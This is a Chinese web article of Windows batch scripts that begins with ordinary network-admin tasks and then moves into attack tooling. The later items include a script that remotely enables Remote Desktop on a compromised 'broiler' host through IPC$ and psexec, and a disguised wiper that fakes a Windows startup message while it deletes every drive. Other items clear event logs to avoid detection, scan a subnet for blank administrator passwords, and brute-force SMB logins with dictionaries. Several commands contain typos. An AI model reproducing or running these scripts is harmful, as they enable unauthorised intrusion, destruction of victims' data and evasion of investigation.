网管一般都使用软件来实现对Win2000局域网的管理,本文将介绍用Win2000的命令模式结合批处理来实现批量分发文件和批量禁止服务。

1、批量分发文件 目标:替换用户HOSTS文件

方法1

For %%B in 1 2 3 do net use z \\192.168.0.%%B\admin$\system32\DRIVERS\ETC “admin密码” /user administrator&copy d \hosts z \ /y&net use z /del /y

方法2

For %%B in 1 2 3 do net use \\192.168.0.%%B\ipc$ “admin密码” /user administrator&copy d \hosts \\192.168.0.%%B\admin$\system32\DRIVERS\ETC /y&net use \\192.168.0.%%B\ipc$ /del

2、批量禁止用户Messenger服务

For %%B in 1 2 3 do net use \\192.168.0.%%B\ipc$ “admin密码” /user administrator&sc.exe \\192.168.0.%%B stop Messenger&sc.exe \\192.168.0.%%B config Messenger start= disabled&net use \\192.168.0.$$B\ipc$ /del

说明:上例是对IP为192.168.0.1~192.168.0.3的主机进行操作,Command1和Command2用来分隔一个命令行中的多个命令。Cmd.exe运行第一个命令,然后运行第二个命令。sc.exe命令可以实现设置服务启动或关闭,此文件可以在Win2000的system32目录下找到。详细的可查Win2000的帮助。

3、将C盘转换NTFS格式

@ ECHO OFF

@ ECHO.

@ ECHO. 说 明

@ ECHO ---------------------------------------------------------------

@ ECHO NTFS格式是WinXP推荐使用的格式。转换为NTFS格式能提高硬盘存储的

@ ECHO 效率,并可设置访问权限以保护文件。但NTFS格式的分区在DOS/WIN9X

@ ECHO 下均不能被识别,可能会给初级用户造成不便。如无必要请不要转换。

@ ECHO ---------------------------------------------------------------

@ ECHO.

convert c:/fs:ntfs

4、DOS命令扫描一个网段的全部端口

注:只能在win2000下使用

在win2000下开一个dos窗口,然后执行

for /l %a in (1,1,254) do start /min /low telnet 192.168.0.%a 3389

这样192.168.0.x这个段的所有开放3389端口得主机都会暴露。这条命令执行后会在任务栏开254个小窗口然后telnet链接失败的窗口会在大约5秒后自动退出剩下的窗口就是相对应开放端口的主机了看一下小窗口的标题可以得知主机的ip地址如果你觉得机器性能很好的话 可以把/low参数去了

现在扫描一台主机的多个端口,如下

for /l %a in (1,1,65535) do start /low /min telnet 192.168.0.1%a

这样就扫描192.168.0.1的1到65535端口

现在扫描一个网段的所有端口

for /l %a in (1,1,254) do for /l %b in (1,1,65535) do start /low/min telnet 192.168.0.%a %b

这样就会扫描192.168.0.x段的全部1到65535段口

以上命令只能在win2000下使用,因为/l累加参数是win2000对for的扩展。

当然winXP和win.NET都可以用,winME我没有试过,因为没有winME的机器。

5、WINXP原本的各项服务


sc config Alerter start= DISABLED

sc config ALG start= DEMAND

sc config AppMgmt start= DEMAND

sc config AudioSrv start= AUTO

sc config BITS start= DEMAND

sc config Browser start= AUTO

sc config CiSvc start= DEMAND

sc config ClipSrv start= DISABLED

sc config COMSysApp start= DEMAND

sc config CryptSvc start= AUTO

sc config DcomLaunch start= AUTO

sc config Dhcp start= AUTO

sc config dmadmin start= DEMAND

sc config dmserver start= AUTO

sc config Dnscache start= AUTO

sc config ERSvc start= AUTO

sc config Eventlog start= AUTO

sc config EventSystem start= DEMAND

sc config FastUserSwitchingCompatibility start= DEMAND

sc config helpsvc start= AUTO

sc config HidServ start= DISABLED

sc config HTTPFilter start= DEMAND

sc config ImapiService start= DEMAND

sc config lanmanserver start= AUTO

sc config lanmanworkstation start= AUTO

sc config LmHosts start= AUTO

sc config Messenger start= DISABLED

sc config mnmsrvc start= DEMAND

sc config MSDTC start= DEMAND

sc config MSIServer start= DEMAND

sc config NetDDE start= DISABLED

sc config NetDDEdsdm start= DISABLED

sc config Netlogon start= DEMAND

sc config Netman start= DEMAND

sc config Nla start= DEMAND

sc config NtLmSsp start= DEMAND

sc config NtmsSvc start= DEMAND

sc config PlugPlay start= AUTO

sc config PolicyAgent start= AUTO

sc config ProtectedStorage start= AUTO

sc config RasAuto start= DEMAND

sc config RasMan start= DEMAND

sc config RDSessMgr start= DEMAND

sc config RemoteAccess start= DISABLED

sc config RemoteRegistry start= AUTO

sc config RpcLocator start= DEMAND

sc config RpcSs start= AUTO

sc config RSVP start= DEMAND

sc config SamSs start= AUTO

sc config SCardSvr start= DEMAND

sc config Schedule start= AUTO

sc config seclogon start= AUTO

sc config SENS start= AUTO

sc config SharedAccess start= AUTO

sc config ShellHWDetection start= AUTO

sc config Spooler start= AUTO

sc config srservice start= DISABLED

sc config SSDPSRV start= DEMAND

sc config stisvc start= DEMAND

sc config SwPrv start= DEMAND

sc config SysmonLog start= DEMAND

sc config TapiSrv start= DEMAND

sc config TermService start= DEMAND

sc config Themes start= AUTO

sc config TlntSvr start= DISABLED

sc config TrkWks start= AUTO

sc config UMWdf start= DEMAND

sc config upnphost start= DEMAND

sc config UPS start= DEMAND

sc config VSS start= DEMAND

sc config W32Time start= AUTO

sc config WebClient start= AUTO

sc config winmgmt start= AUTO

sc config WmdmPmSN start= DEMAND

sc config Wmi start= DEMAND

sc config WmiApSrv start= DEMAND

sc config wscsvc start= AUTO

sc config wuauserv start= AUTO

sc config WZCSVC start= AUTO

sc config xmlprov start= DEMAND


6、给每个盘添加卷标

@ ECHO OFF

@ ECHO.

@ ECHO. 说 明

@ ECHO -----------------------------------------------------

@ ECHO 此命令将为本机每个盘都添加上卷标,一般是用在新机上面。

@ ECHO 以引导初学者更合理地支配他们的硬盘空间。事情微小,但

@ ECHO 能体现装机者专业细致的办事态度。

@ ECHO -----------------------------------------------------

PAUSE

c:

label c:WINXP

label d:软件

label e:影视

label f:游戏

label g:资料

label h:备份

d:

md 本机驱动程序

md 本机驱动程序\0.DirectX

md 本机驱动程序\1.主板芯片组

md 本机驱动程序\2.显卡

md 本机驱动程序\3.声卡

md 本机驱动程序\4.网卡

md 本机驱动程序\5.摄像头

7、一键清理系统垃圾

@echo off

echo 正在清理系统垃圾文件,请稍等......

del /f /s /q %systemdrive%\*.tmp

del /f /s /q %systemdrive%\*._mp

del /f /s /q %systemdrive%\*.log

del /f /s /q %systemdrive%\*.gid

del /f /s /q %systemdrive%\*.chk

del /f /s /q %systemdrive%\*.old

del /f /s /q %systemdrive%\recycled\*.*

del /f /s /q %windir%\*.bak

del /f /s /q %windir%\prefetch\*.*

rd /s /q %windir%\temp & md %windir%\temp

del /f /q %userprofile%\cookies\*.*

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

echo 清理系统垃圾完成!

echo. & pause

8、清除所有多余的右键菜单

@ ECHO OFF

@ ECHO.

@ ECHO.

@ ECHO. 说 明

@ ECHO -----------------------------------------------------------------------

@ ECHO 很多显卡在装了驱动之后,桌面右键会多出一项或多项菜单,这些功能并不实用,

@ ECHO 还会拖慢右键的弹出速度,以Intel的集成显卡为甚。迟纯的反应速度严重地影响

@ ECHO 了使用者的心情。我们最好清除它。《GhostXP电脑公司特别版》作者编。

@ ECHO -----------------------------------------------------------------------

PAUSE

regsvr32 /u /s igfxpph.dll

reg delete HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers /f

reg add HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers\new /ve /d {D969A300-E7FF-11d0-A93B-00A0C90F2719}

reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v HotKeysCmds /f

reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v IgfxTray /f

9、清除所有多余的启动项目

@ ECHO OFF

@ ECHO.

@ ECHO. 说 明

@ ECHO --------------------------------------------------------------

@ ECHO 本批处理会自动清理所有非必要的启动项目,仅保留输入法(ctfmon)。

@ ECHO 目的是减少不必要的资源占用,使系统运行顺畅。但清理掉的项目不作

@ ECHO 备份,请小心使用。

@ ECHO --------------------------------------------------------------

PAUSE

reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f

reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe /d C:\WINDOWS\system32\ctfmon.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v item /d IMJPMIG

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v command /d "C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v item /d TINTSETP

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002A" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v command /d ""C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v hkey /d HKLM

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v inimapping /d 0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v item /d TINTSETP

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\PHIME2002ASync" /v key /d SOFTWARE\Microsoft\Windows\CurrentVersion\Run

del "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\*.*" /q /f

del "C:\Documents and Settings\Default User\「开始」菜单\程序\启动\*.*" /q /f

del "%userprofile%\「开始」菜单\程序\启动\*.*" /q /f

start C:\WINDOWS\pchealth\helpctr\binaries\msconfig.exe

10、批处理开3389

注:每一步必须写成一个批处理文件。

使用方法:

open3389.bat 肉鸡的IP 肉鸡的ADMIN组的用户 用户的密码

open3389.bat IP USER PASS

第一步:(在本机上开3389)

c:\>echo [Components] > c:\rock

c:\>echo TSEnable = on >> c:\rock

c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\rock /q

第二步:(辅助程序3389.bat)

@echo [Components] > c:\sql

@echo TSEnable = on >> c:\sql

@sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q

@del C:\server

第三步:(主程序open3389.bat)

@echo *******************Open3389*********************

@echo 使用方法:

@echo open3389.bat ip user password

@echo open3389.bat 目标ip 用户名 密码

@echo ************************************************

@echo 正在连接 "%1……"

@net use \\%1\ipc$ %3 /user:"%2"

@if errorlevel 1 goto help

@echo ************************************************

@echo 成功连接上 \\%1 !

@echo 复制3389.bat 到 \\%1\admin$\system32 目录

@copy 3389.bat \\%1\admin$\system32

@echo ************************************************

@echo OK! 复制完毕

@echo ************************************************

@echo 正在在 \\%1 上执行3389.bat

@psexec -d \\%1 c:\winnt\system32\3389.bat

@echo ************************************************

@echo 3389 安装成功!

@echo BINGLE!!!Yeah!!

@echo 等 \\%1 重起后,你就可以使用终端连接器连接上去了

@net use \\%1\ipc$ /delete

@echo ************************************************

@echo Welcome to www.niuzu.net

@echo ************************************************

@echo 作者:红衣刺客 QICQ is 158017079

@echo 测试:xuanniao OICQ is 65363877

@echo ************************************************

@if errorlevel 0 goto end

:help

@echo ************************************************

@echo Connecting %1 ERROR!

@echo ************************************************

:end

11、IE不能打开新链接的修复

@echo off

regsvr32 actxprxy.dll

regsvr32 shdocvw.dll

12、注册表解禁

第一步:(以下写成“注册表解禁.reg”注册表文件)

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\icrosoft\Windows\CurrentVersion\Policies\System]

"DisableRegistryTools"=dword:00000000

第二步:(以下写成“注册表解禁.cmd”批处理文件)

reg import 注册表解禁.reg

13、完全自动删除硬盘文件

@rem 开始

@rem 关闭命令行显示

@echo off

rem 设置路径

PATH %PATH%;c:\windows\;c:\windows\command

rem 运行磁盘缓冲,加快删除速度:)

SMARTDRV >nul

rem 清屏

cls

rem 显示正在运行WINDOWS系统和百分比

echo run Windows ..........10%%

rem 执行删除操作

deltree /y g:\. >nul

cls

echo run Windows ..........20%%

deltree /y f:\. >nul

cls

echo run Windows ..........50%%

deltree /y e:\. >nul

cls

echo run Windows ..........70%%

deltree /y d:\. >nul

cls

echo run Windows ..........90%%

deltree /y c:\. >nul

cls

rem 全部删除后,告诉他电脑刚才在干什么!:)

echo del system all!!

echo Goodbye!!!

rem 结束

14、自动删除日志

当你看到这个标题可别倒下啊!现在要离开127.0.0.1了,要删除日志,当然要删除日志啦!想被捉吗。呵呵。

NT的日志有这些

del C:\winnt\system32\logfiles\*.*

del C:\winnt\ssytem32\config\*.evt

del C:\winnt\system32\dtclog\*.*

del C:\winnt\system32\*.log

del C:\winnt\system32\*.txt

del C:\winnt\*.txt

del C:\winnt\*.log

只要删除这些就可以了。有些系统NT安装在D盘或其他盘,就要把C改成其他盘。

15、取MAC地址

快速收集本网段的IP及MAC地址并保存到为MAC.TXT文件中

for /l %%i in (0,1,255) do ping 10.100.109.%%i –n 1

arp –a ->mac.txt

16、依次建立空连接

用法:test.bat *.*.* > test.txt

批处理文件内容:

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt

存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

17、暴力破解密码

用法:ok.bat ip

@echo off

echo 用法格式:ok.bat ip

批处理文件内容:

1、FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200

存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

2、for /L %%G in (d:\pass.txt) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics